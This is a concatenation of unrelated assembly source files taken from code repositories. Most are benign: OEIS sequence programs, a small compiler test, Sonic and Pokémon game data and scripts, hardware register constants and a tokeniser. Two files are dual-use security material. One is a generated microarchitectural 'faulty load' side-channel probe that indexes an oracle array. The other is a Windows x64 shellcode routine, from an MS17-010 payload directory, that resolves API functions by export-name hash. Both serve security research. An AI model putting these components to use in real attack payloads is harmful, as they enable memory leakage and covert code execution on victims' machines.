c92baeb362ca76e8499407f8620e5aac6e136ab0 | 326 | asm | Assembly | programs/oeis/047/A047397.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/047/A047397.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/047/A047397.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A047397: Numbers that are congruent to {0, 1, 2, 6} mod 8.
; 0,1,2,6,8,9,10,14,16,17,18,22,24,25,26,30,32,33,34,38,40,41,42,46,48,49,50,54,56,57,58,62,64,65,66,70,72,73,74,78,80,81,82,86,88,89,90,94,96,97,98,102,104,105,106,110,112,113,114,118,120,121,122
mov $1,$0
mov $2,$0
add $2,5
mod $2,4
trn $2,1
sub $1,$2
add $1,$0
| 29.636364 | 196 | 0.634969 |
084218139646de0c0f542eebf8c4f56f663e3206 | 1,731 | asm | Assembly | Homework1-Tests/count.asm | berk94/Mylang-Compiler | 92bb3a8edc0733ca2b4b08badb3628ef9abbe8b0 | [
"MIT"
] | null | null | null | Homework1-Tests/count.asm | berk94/Mylang-Compiler | 92bb3a8edc0733ca2b4b08badb3628ef9abbe8b0 | [
"MIT"
] | null | null | null | Homework1-Tests/count.asm | berk94/Mylang-Compiler | 92bb3a8edc0733ca2b4b08badb3628ef9abbe8b0 | [
"MIT"
] | null | null | null | code segment
call myread ; read a
mov va,cx ;
labl1: ; while begin
push 100d ;
push va ;
pop cx ;
pop ax ;
sub ax,cx ;
push ax ;
pop ax ;
cmp ax,0 ;
jz labl2 ;
push va ;
pop ax ;
call myprint ;
push offset va ;
push va ;
push 1 ;
pop cx ;
pop ax ;
add ax,cx ;
push ax ;
pop ax ;
pop bp ;
mov [bp],ax ;
jmp labl1 ; jump to while beginnning
labl2: ;
int 20h ; exit to dos
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;reads a nonnegative integer and puts
;it in cx register
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
myread:
MOV CX,0
morechar:
mov ah,01h
int 21H
mov dx,0
mov dl,al
mov ax,cx
cmp dl,0D
je myret
sub dx,48d
mov bp,dx
mov ax,cx
mov cx,10d
mul cx
add ax,bp
mov cx,ax
jmp morechar
myret:
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; number in AX register is printed
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
myprint:
mov si,10d
xor dx,dx
push ' ' ; push newline
mov cx,1d
nonzero:
div si
add dx,48d
push dx
inc cx
xor dx,dx
cmp ax,0h
jne nonzero
writeloop:
pop dx
mov ah,02h
int 21h
dec cx
jnz writeloop
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Variables are put in this area
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
va dw ? ; variable a
code ends
| 21.109756 | 47 | 0.368573 |
4a3eff7cccd11a42826eed8c83bf5f5fa1f5252a | 135 | asm | Assembly | test-suite/programs/unit/jgt_0x1C.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/jgt_0x1C.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/jgt_0x1C.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | MOV [0] 43
MOV [1] 66
MOV [2] 25
MOV [3] 22
MOV [4] 29
JGT [3] [0] [2]
DPRINT 157
HALT
JGT [4] [0] [1]
DPRINT 869
HALT
DPRINT 532
HALT
| 9.642857 | 15 | 0.6 |
abc22fef13a4bbd446a3eedc39008ced03a64c27 | 3,060 | asm | Assembly | Levels/AIZ/Misc Object Data/Map - Ride Vine S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | 5 | 2021-07-09T08:17:56.000Z | 2022-02-27T19:57:47.000Z | Levels/AIZ/Misc Object Data/Map - Ride Vine S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | null | null | null | Levels/AIZ/Misc Object Data/Map - Ride Vine S3.asm | NatsumiFox/AMPS-Sonic-3-Knuckles | af951b39f0ca103a905d7492448ac5245a2e8104 | [
"Apache-2.0"
] | null | null | null | dc.w word_209FE-Map_AIZRideVine
dc.w word_20A06-Map_AIZRideVine
dc.w word_20A0E-Map_AIZRideVine
dc.w word_20A16-Map_AIZRideVine
dc.w word_20A1E-Map_AIZRideVine
dc.w word_20A26-Map_AIZRideVine
dc.w word_20A2E-Map_AIZRideVine
dc.w word_20A36-Map_AIZRideVine
dc.w word_20A3E-Map_AIZRideVine
dc.w word_20A46-Map_AIZRideVine
dc.w word_20A4E-Map_AIZRideVine
dc.w word_20A56-Map_AIZRideVine
dc.w word_20A5E-Map_AIZRideVine
dc.w word_20A66-Map_AIZRideVine
dc.w word_20A6E-Map_AIZRideVine
dc.w word_20A76-Map_AIZRideVine
dc.w word_20A7E-Map_AIZRideVine
dc.w word_20A86-Map_AIZRideVine
dc.w word_20A8E-Map_AIZRideVine
dc.w word_20A96-Map_AIZRideVine
dc.w word_20A9E-Map_AIZRideVine
dc.w word_20AA6-Map_AIZRideVine
dc.w word_20AAE-Map_AIZRideVine
dc.w word_20AB6-Map_AIZRideVine
dc.w word_20ABE-Map_AIZRideVine
dc.w word_20AC6-Map_AIZRideVine
dc.w word_20ACE-Map_AIZRideVine
dc.w word_20AD6-Map_AIZRideVine
dc.w word_20ADE-Map_AIZRideVine
dc.w word_20AE6-Map_AIZRideVine
dc.w word_20AEE-Map_AIZRideVine
dc.w word_20AF6-Map_AIZRideVine
dc.w word_20AFE-Map_AIZRideVine
dc.w word_20B06-Map_AIZRideVine
word_209FE: dc.w 1
dc.b 0, 1, 0, $1B, $FF, $F8
word_20A06: dc.w 1
dc.b 0, 1, 0, $19, $FF, $F8
word_20A0E: dc.w 1
dc.b 0, 1, 0, $17, $FF, $F8
word_20A16: dc.w 1
dc.b 0, 5, 0, $13, $FF, $F0
word_20A1E: dc.w 1
dc.b 0, 5, 0, $F, $FF, $F0
word_20A26: dc.w 1
dc.b 0, 5, 0, $B, $FF, $F0
word_20A2E: dc.w 1
dc.b 0, 4, 0, 9, $FF, $F0
word_20A36: dc.w 1
dc.b 0, 4, 0, 7, $FF, $F0
word_20A3E: dc.w 1
dc.b 0, 4, 0, 5, $FF, $F0
word_20A46: dc.w 1
dc.b $F9, 4, $10, 7, $FF, $F0
word_20A4E: dc.w 1
dc.b $F9, 4, $10, 9, $FF, $F0
word_20A56: dc.w 1
dc.b $F1, 5, $10, $B, $FF, $F0
word_20A5E: dc.w 1
dc.b $F1, 5, $10, $F, $FF, $F0
word_20A66: dc.w 1
dc.b $F1, 5, $10, $13, $FF, $F0
word_20A6E: dc.w 1
dc.b $F1, 1, $10, $17, $FF, $F8
word_20A76: dc.w 1
dc.b $F1, 1, $10, $19, $FF, $F8
word_20A7E: dc.w 1
dc.b $F1, 1, $10, $1B, $FF, $F8
word_20A86: dc.w 1
dc.b $F1, 1, $18, $19, $FF, $FF
word_20A8E: dc.w 1
dc.b $F1, 1, $18, $17, $FF, $FF
word_20A96: dc.w 1
dc.b $F1, 5, $18, $13, $FF, $FF
word_20A9E: dc.w 1
dc.b $F1, 5, $18, $F, $FF, $FF
word_20AA6: dc.w 1
dc.b $F1, 5, $18, $B, $FF, $FF
word_20AAE: dc.w 1
dc.b $F9, 4, $18, 9, $FF, $FF
word_20AB6: dc.w 1
dc.b $F9, 4, $18, 7, $FF, $FF
word_20ABE: dc.w 1
dc.b 0, 4, 8, 5, $FF, $FF
word_20AC6: dc.w 1
dc.b 0, 4, 8, 7, $FF, $FF
word_20ACE: dc.w 1
dc.b 0, 4, 8, 9, $FF, $FF
word_20AD6: dc.w 1
dc.b 0, 5, 8, $B, $FF, $FF
word_20ADE: dc.w 1
dc.b 0, 5, 8, $F, $FF, $FF
word_20AE6: dc.w 1
dc.b 0, 5, 8, $13, $FF, $FF
word_20AEE: dc.w 1
dc.b 0, 1, 8, $17, $FF, $FF
word_20AF6: dc.w 1
dc.b 0, 1, 8, $19, $FF, $FF
word_20AFE: dc.w 1
dc.b $FC, 8, 0, 0, $FF, $F4
word_20B06: dc.w 1
dc.b $FC, 4, 0, 3, $FF, $F8
| 29.708738 | 36 | 0.603922 |
05577fe2a195e1f0cfa63a4d98af060761fa62bb | 1,455 | asm | Assembly | samples/vasm_oldstyle/common/io.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | null | null | null | samples/vasm_oldstyle/common/io.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | 4 | 2021-12-23T00:53:24.000Z | 2021-12-28T19:37:29.000Z | samples/vasm_oldstyle/common/io.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | null | null | null | ;addresses
PORTB = $6000 ;0x6000 = I/O Register B
PORTA = $6001 ;0x6001 = I/O Register A
DDRB = $6002 ;0x6002 = Data Direction Register B
DDRA = $6003 ;0x6003 = Data Direction Register A
T1CL = $6004 ;0x6004 = T1 Low Order Latches/Counter
T1CH = $6005 ;0x6005 = T1 High Order Counter
;0x6006 = T1 Low Order Latches
;0x6007 = T1 High Order Latches
;0x6008 = T2 Low Order Latches/Counter
;0x6009 = T2 High Order Counter
SHIFTREG = $600a ;0x600a = Shift Register
AUXCONTROL = $600b ;0x600b = Auxiliary Control Register
;0x600c = Peripheral Control Register
IRQ_FLAG = $600d ;0x600d = Interrupt Flag Register
IRQ_ENABLE_REG = $600e ;0x600e = Interrupt Enable Register
;0x600f = I/O Register A sans Handshake (I do not believe this computer uses Handshake anyway.)
;flags/data
;irq flags
IRQ_SET = %10000000 ;Set/Clear
IRQ_TIMER1 = %01000000 ;Timer1
IRQ_TIMER2 = %00100000 ;Timer2
IRQ_CB1 = %00010000 ;CB1
IRQ_CB2 = %00001000 ;CB2
IRQ_SHIFT = %00000100 ;Shift Register
IRQ_CA1 = %00000010 ;CA1
IRQ_CA2 = %00000001 ;CA2
;AUXCONTROL register settings
SHIFT_OUT_CB1 = %00011100 ;1 1 1 Shift out under control of external clock (CB1)
TIMER1_CONTINUOUS = %11000000
| 36.375 | 121 | 0.6 |
2df455f042bee60aefe56d05cfba44586e72f9ed | 711 | asm | Assembly | programs/oeis/269/A269723.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/269/A269723.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/269/A269723.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A269723: Start with A_0 = 0, then extend by setting B_k = complement of A_k and A_{k+1} = A_k A_k B_k B_k; sequence is limit of A_k as k -> infinity.
; 0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1
mul $0,2
lpb $0,1
div $0,4
mod $1,2
add $1,$0
lpe
| 71.1 | 501 | 0.541491 |
ecbd352efc4b199b95d694c42e0bd19c9d22e8ad | 1,981 | asm | Assembly | Transynther/x86/_processed/P/_un_/i7-7700_9_0x48.log_36_537.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/P/_un_/i7-7700_9_0x48.log_36_537.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/P/_un_/i7-7700_9_0x48.log_36_537.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xa5fb, %r15
clflush (%r15)
nop
nop
nop
and %rdi, %rdi
movw $0x6162, (%r15)
nop
nop
nop
nop
sub $3510, %r10
lea addresses_WC_ht+0x15deb, %r12
nop
sub %rdi, %rdi
movw $0x6162, (%r12)
nop
nop
nop
inc %r15
lea addresses_WT_ht+0xe885, %rsi
lea addresses_normal_ht+0x1b1fb, %rdi
nop
nop
nop
nop
sub $28388, %r8
mov $45, %rcx
rep movsb
nop
xor $12427, %r15
lea addresses_UC_ht+0x52fb, %rsi
lea addresses_WC_ht+0x7ffb, %rdi
nop
nop
nop
sub $56674, %r13
mov $41, %rcx
rep movsw
nop
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
// Faulty Load
mov $0x1fb, %rdi
nop
nop
lfence
mov (%rdi), %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'e0': 35, 'ff': 1}
ff e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0
*/
| 19.23301 | 152 | 0.652196 |
b1a718fd0a1a0fffd18a36ae3607a4a36581c578 | 4,417 | asm | Assembly | maps/OlivineLighthouse2F.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | maps/OlivineLighthouse2F.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | maps/OlivineLighthouse2F.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | object_const_def ; object_event constants
const OLIVINELIGHTHOUSE2F_SAILOR
const OLIVINELIGHTHOUSE2F_GENTLEMAN
OlivineLighthouse2F_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
TrainerGentlemanAlfred:
trainer GENTLEMAN, ALFRED, EVENT_BEAT_GENTLEMAN_ALFRED, GentlemanAlfredSeenText, GentlemanAlfredBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext GentlemanAlfredAfterBattleText
waitbutton
closetext
end
TrainerSailorHuey:
trainer SAILOR, HUEY1, EVENT_BEAT_SAILOR_HUEY, SailorHueySeenText, SailorHueyBeatenText, 0, .Script
.Script:
loadvar VAR_CALLERID, PHONE_SAILOR_HUEY
endifjustbattled
opentext
checkflag ENGINE_HUEY
iftrue .WantsBattle
checkcellnum PHONE_SAILOR_HUEY
iftrue .NumberAccepted
checkevent EVENT_HUEY_ASKED_FOR_PHONE_NUMBER
iftrue .AskedBefore
setevent EVENT_HUEY_ASKED_FOR_PHONE_NUMBER
scall .AskNumber1
sjump .AskForNumber
.AskedBefore:
scall .AskNumber2
.AskForNumber:
askforphonenumber PHONE_SAILOR_HUEY
ifequal PHONE_CONTACTS_FULL, .PhoneFull
ifequal PHONE_CONTACT_REFUSED, .NumberDeclined
gettrainername STRING_BUFFER_3, SAILOR, HUEY1
scall .RegisteredNumber
sjump .NumberAccepted
.WantsBattle:
scall .Rematch
winlosstext SailorHueyBeatenText, 0
readmem wHueyFightCount
ifequal 3, .Fight3
ifequal 2, .Fight2
ifequal 1, .Fight1
ifequal 0, .LoadFight0
.Fight3:
checkevent EVENT_RESTORED_POWER_TO_KANTO
iftrue .LoadFight3
.Fight2:
checkevent EVENT_BEAT_ELITE_FOUR
iftrue .LoadFight2
.Fight1:
checkevent EVENT_CLEARED_RADIO_TOWER
iftrue .LoadFight1
.LoadFight0:
loadtrainer SAILOR, HUEY1
startbattle
reloadmapafterbattle
loadmem wHueyFightCount, 1
clearflag ENGINE_HUEY
end
.LoadFight1:
loadtrainer SAILOR, HUEY2
startbattle
reloadmapafterbattle
loadmem wHueyFightCount, 2
clearflag ENGINE_HUEY
end
.LoadFight2:
loadtrainer SAILOR, HUEY3
startbattle
reloadmapafterbattle
loadmem wHueyFightCount, 3
clearflag ENGINE_HUEY
end
.LoadFight3:
loadtrainer SAILOR, HUEY4
startbattle
reloadmapafterbattle
clearflag ENGINE_HUEY
checkevent EVENT_HUEY_PROTEIN
iftrue .HasProtein
checkevent EVENT_GOT_PROTEIN_FROM_HUEY
iftrue .SkipGift
scall .RematchGift
verbosegiveitem PROTEIN
iffalse .PackFull
setevent EVENT_GOT_PROTEIN_FROM_HUEY
sjump .NumberAccepted
.SkipGift:
end
.HasProtein:
opentext
writetext SailorHueyGiveProteinText
waitbutton
verbosegiveitem PROTEIN
iffalse .PackFull
clearevent EVENT_HUEY_PROTEIN
setevent EVENT_GOT_PROTEIN_FROM_HUEY
sjump .NumberAccepted
.AskNumber1:
jumpstd asknumber1m
end
.AskNumber2:
jumpstd asknumber2m
end
.RegisteredNumber:
jumpstd registerednumberm
end
.NumberAccepted:
jumpstd numberacceptedm
end
.NumberDeclined:
jumpstd numberdeclinedm
end
.PhoneFull:
jumpstd phonefullm
end
.Rematch:
jumpstd rematchm
end
.PackFull:
setevent EVENT_HUEY_PROTEIN
jumpstd packfullm
end
.RematchGift:
jumpstd rematchgiftm
end
SailorHueySeenText:
text "Men of the sea are"
line "always spoiling"
cont "for a good fight!"
done
SailorHueyBeatenText:
text "Urf!"
line "I lose!"
done
SailorHueyUnusedText:
; unused
text "What power!"
line "How would you like"
para "to sail the seas"
line "with me?"
done
GentlemanAlfredSeenText:
text "Hm? This is no"
line "place for playing."
done
GentlemanAlfredBeatenText:
text "Ah! I can see that"
line "you're serious."
done
GentlemanAlfredAfterBattleText:
text "Up top is a #-"
line "MON that keeps the"
cont "LIGHTHOUSE lit."
para "But I hear that"
line "it's sick now and"
para "can't be cured by"
line "ordinary medicine."
done
SailorHueyGiveProteinText:
text "Man! You're as"
line "tough as ever!"
para "Anyway, here's"
line "that medicine from"
cont "before."
done
OlivineLighthouse2F_MapEvents:
db 0, 0 ; filler
db 6 ; warp events
warp_event 3, 11, OLIVINE_LIGHTHOUSE_1F, 3
warp_event 5, 3, OLIVINE_LIGHTHOUSE_3F, 2
warp_event 16, 13, OLIVINE_LIGHTHOUSE_1F, 4
warp_event 17, 13, OLIVINE_LIGHTHOUSE_1F, 5
warp_event 16, 11, OLIVINE_LIGHTHOUSE_3F, 4
warp_event 17, 11, OLIVINE_LIGHTHOUSE_3F, 5
db 0 ; coord events
db 0 ; bg events
db 2 ; object events
object_event 9, 3, SPRITE_SAILOR, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerSailorHuey, -1
object_event 17, 8, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerGentlemanAlfred, -1
| 19.807175 | 147 | 0.801223 |
85add4ac19d2ae3e69d98f5e39096918a7160897 | 2,587 | asm | Assembly | payloads/x64/src/block/block_api_direct.asm | pythonone/MS17-010 | b60d830059e4c9181da87ba3f4072467417bcaba | [
"Apache-2.0"
] | 96 | 2017-05-19T11:35:45.000Z | 2021-09-12T08:41:15.000Z | payloads/x64/src/block/block_api_direct.asm | FDlucifer/MS17-010 | b60d830059e4c9181da87ba3f4072467417bcaba | [
"Apache-2.0"
] | null | null | null | payloads/x64/src/block/block_api_direct.asm | FDlucifer/MS17-010 | b60d830059e4c9181da87ba3f4072467417bcaba | [
"Apache-2.0"
] | 64 | 2017-05-18T01:17:46.000Z | 2021-12-31T03:05:09.000Z | ;
; Windows x64 Direct Export API Call
;
; Author: Sean Dillon <sean.dillon@risksense.com> (@zerosum0x0)
; Copyright: (c) 2017 RiskSense, Inc.
; License: Apache 2.0
;
; Based on Stephen Fewer's direct API calls
;
; Arguments: RAX = module pointer
; rcx, rdx, r8, r9, stack = normal function call params
; R11D = hash
;
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Notes: block_api loads from the PEB. This is more direct. Caller must be sure
; there is an export in this module.
;
block_api_direct:
push r9 ; Save parameters
push r8
push rdx
push rcx
mov rdx, rax
mov eax, dword [rdx+60] ; Get PE header e_lfanew
add rax, rdx
mov eax, dword [rax+136] ; Get export tables RVA
; No test if export address table is present
; Callers job
add rax, rdx
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov r8d, dword [rax+32] ; FunctionNames
add r8, rdx
_block_api_direct_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec rcx ; decrement NumberOfFunctions
mov esi, dword [r8+rcx*4] ; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear hash
_block_api_direct_loop_funcname:
xor rax, rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL to AH (\0)
jne _block_api_direct_loop_funcname
cmp r9d, r10d ; Compare the hashes
jnz _block_api_direct_next_func ; try the next function
_block_api_direct_finish:
pop rax ; restore EAT
mov r8d, dword [rax+36]
add r8, rdx ; ordinate table virtual address
mov cx, [r8+2*rcx] ; desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx] ; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
pop rcx
pop rdx
pop r8
pop r9
pop r10 ; pop ret addr
sub rsp, 0x20 ; reserve shadow space
push r10 ; push ret addr
jmp rax
| 32.746835 | 106 | 0.579436 |
9332f58b57607d5af2387c2c57633cd68514da21 | 2,169 | asm | Assembly | source/tokenise/tok_token.asm | paulscottrobson/rpl-65 | 73f85a6b0f230fa03a41e1a9416c2511cf67f0c0 | [
"MIT"
] | 1 | 2019-11-20T09:18:22.000Z | 2019-11-20T09:18:22.000Z | source/tokenise/tok_token.asm | paulscottrobson/rpl-65 | 73f85a6b0f230fa03a41e1a9416c2511cf67f0c0 | [
"MIT"
] | null | null | null | source/tokenise/tok_token.asm | paulscottrobson/rpl-65 | 73f85a6b0f230fa03a41e1a9416c2511cf67f0c0 | [
"MIT"
] | null | null | null | ; ******************************************************************************
; ******************************************************************************
;
; Name : tok_token.asm
; Purpose : Check if current word is a token.
; Author : Paul Robson (paul@robsons.org.uk)
; Created : 14th November 2019
;
; ******************************************************************************
; ******************************************************************************
; ******************************************************************************
;
; Check if current is a token. If so CS else CC
;
; ******************************************************************************
TOKCheckIsToken:
set16 zTemp0,KeywordText ; position in table
stz zTemp1 ; best match length
stz zTemp2 ; current token.
;
; Token check loop.
;
_TCTLoop:
ldy #1 ; position to start comparing
phx ; save start
;
_TCTCompare:
lda (zTemp0),y ; compare the characters using EOR.
eor InputBuffer,x ; because bit 7 of keyword table => end of word.
inx ; bump both pointers.
iny
asl a ; A will now be 0 if the same. CS => end.
bne _TCTNext ; different, go to next.
bcc _TCTCompare ; still comparing.
;
lda (zTemp0) ; get current length
cmp zTemp1 ; best so far
bcc _TCTNext ; if not, skip to next.
;
sta zTemp1 ; new best score
lda zTemp2 ; copy current token to result
sta zTemp2+1
;
_TCTNext:
plx ; restore start position.
inc zTemp2 ; increment current token.
lda (zTemp0) ; add the length + 1 to the keyword pointer
sec
adc zTemp0
sta zTemp0
bcc _TCTNoCarry
inc zTemp0+1
_TCTNoCarry:
lda (zTemp0) ; have we finished ?
bne _TCTLoop ; no, check the next keyword.
;
clc
lda zTemp1 ; best length is zero, exit with CC
beq _TCTExit
;
txa ; add that length to the input index.
clc
adc zTemp1
tax
;
lda zTemp2+1 ; token number
jsr TOKWriteToken ; write it out.
sec ; set carry and exit
_TCTExit:
rts | 30.125 | 80 | 0.469802 |
511a4681b341cba9e14b6c086afaa0e098101c1f | 433 | asm | Assembly | programs/oeis/270/A270111.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/270/A270111.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/270/A270111.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A270111: Number of n X 1 0..7 arrays with some element plus some horizontally or vertically adjacent neighbor totalling seven exactly once.
; 0,8,112,1176,10976,96040,806736,6588344,52706752,415065672,3228288560,24857821912,189823367328,1439493868904,10851569165584,81386768741880,607687873272704,4519678557465736
mov $3,$0
lpb $0,1
sub $0,1
mov $1,$3
mov $2,$3
add $2,$1
add $2,$3
add $3,$2
add $3,$2
lpe
add $1,$3
| 28.866667 | 173 | 0.741339 |
af812c0570f78d66ed61d9ccea0dd6b7c9ffa2a1 | 1,473 | asm | Assembly | programs/oeis/133/A133694.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/133/A133694.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/133/A133694.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A133694: a(n) = (3*n^2 + 3*n - 4)/2.
; 1,7,16,28,43,61,82,106,133,163,196,232,271,313,358,406,457,511,568,628,691,757,826,898,973,1051,1132,1216,1303,1393,1486,1582,1681,1783,1888,1996,2107,2221,2338,2458,2581,2707,2836,2968,3103,3241,3382,3526,3673,3823,3976,4132,4291,4453,4618,4786,4957,5131,5308,5488,5671,5857,6046,6238,6433,6631,6832,7036,7243,7453,7666,7882,8101,8323,8548,8776,9007,9241,9478,9718,9961,10207,10456,10708,10963,11221,11482,11746,12013,12283,12556,12832,13111,13393,13678,13966,14257,14551,14848,15148,15451,15757,16066,16378,16693,17011,17332,17656,17983,18313,18646,18982,19321,19663,20008,20356,20707,21061,21418,21778,22141,22507,22876,23248,23623,24001,24382,24766,25153,25543,25936,26332,26731,27133,27538,27946,28357,28771,29188,29608,30031,30457,30886,31318,31753,32191,32632,33076,33523,33973,34426,34882,35341,35803,36268,36736,37207,37681,38158,38638,39121,39607,40096,40588,41083,41581,42082,42586,43093,43603,44116,44632,45151,45673,46198,46726,47257,47791,48328,48868,49411,49957,50506,51058,51613,52171,52732,53296,53863,54433,55006,55582,56161,56743,57328,57916,58507,59101,59698,60298,60901,61507,62116,62728,63343,63961,64582,65206,65833,66463,67096,67732,68371,69013,69658,70306,70957,71611,72268,72928,73591,74257,74926,75598,76273,76951,77632,78316,79003,79693,80386,81